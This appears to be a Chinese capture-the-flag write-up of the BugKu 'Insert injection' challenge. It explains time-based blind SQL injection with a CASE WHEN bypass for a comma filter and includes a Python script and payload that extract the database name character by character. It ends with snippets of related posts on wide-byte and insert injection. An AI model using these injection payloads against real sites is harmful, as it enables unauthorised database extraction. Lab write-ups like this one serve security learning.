BUGKu中的Insert注入

2021-09-14 00:04:22 字數 3118 閱讀 8051

這道題因為是先輸出的ip的資訊,然後再將ip存入了資料庫中,並且關閉了所有的報錯提示。

因此用時間注入的方式比較好

首先我們先認識乙個新的python中的time模組,time.time()返回當前的時間,只要我們在傳送資料報之前以及收到返回包之後各設定乙個,就可以通過判斷兩時間之差確認我們判斷的字元!!!!
其實沒有什麼難的,有相對好點的其他語言基礎,相信能很快寫出來

當然這道題還不是簡單的時間盲注題

1.這道題過濾了逗號,對於時間盲注來說,可以用case when 條件 then 成立 else 不成立 end ,來進行時間盲注

比如case when 1=1 then sleep(5) else 1 end,在這裡面的就因為1=1成立,於是執行sleep(5)語句,從而達到時間盲注的目的。

#bugku中的insert 注入,爆當前資料庫名

import requests

import time#匯入time模組

url=''#設定url

test=requests.session()#設定session(),好像有的需要,因此每次就會習慣性地加上

mikasa=test.get(url,headers=headers)#先用一下試試

print(mikasa.text)#看看有沒有結果

database=''#設定要爆破的值

for ko in range(1,100):#假設我們爆的值在100以內

for ok in range(0,128):#ascii值

php="1' and (case when ord(substr((database())from("+str(ko)+")))="+str(ok)+" then sleep(5) else 1 end) or '"#設定盲注語句

op=time.time()#記錄未傳送資料時候的時間

mikasa=test.get(url,headers=headers)#傳送資料並等待返回資料

if time.time()-op>3:#判斷返回的時間與未傳送資料時間差值是否有明顯的變化

database+=chr(ok)#將其從ascii轉為字元,加入值中

if(ok==0):#如果返回的值為空,ascii中0為空,則判定爆破完畢,退出程式

exit()

else:

print(database)

continue

else:#主要用於除錯程式是否爆出了資料

資料庫名,建議大家寫指令碼的時候一步一步除錯,不然別像我調bug調的麻煩

接下來爆表名列名都差不多,這裡只貼爆到字段的**,希望各位

#爆表名

#爆欄位名

剩下的就請各位發揮聰明才智了,在下才學疏淺,只能寫出如此笨拙的**。

事實上可以用多執行緒、二分法、以及string模組減少時間,在下不才,只能到這一步。

SQL注入(三) sql注入 bugku

原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...

mutillidae之Insert型注入

a1 insert型注入 1 輸入內容,確定內容輸出位置,確定插入字段順序 輸入test 頁面報錯,可知test並非最後乙個字段,繼續嘗試test 123 頁面返回正常,確定test是倒數第二個字段,2 test後構造第三個欄位來嘗試爆資料庫資料 test select database 結果發現第...

BUGKU中的wireshark流量分析

首先開啟資料報 有很多的資料報。但是不是很多,我們可以慢慢分析,直到我們分析到了乙個http的請求時 可以看到192.168.228.1對192.168.228.135傳送了乙個post請求。但是這個請求卻有點奇怪。我們分組開啟看看。將其儲存為txt檔案後進行檢視。發現有很多的base64字串。我們...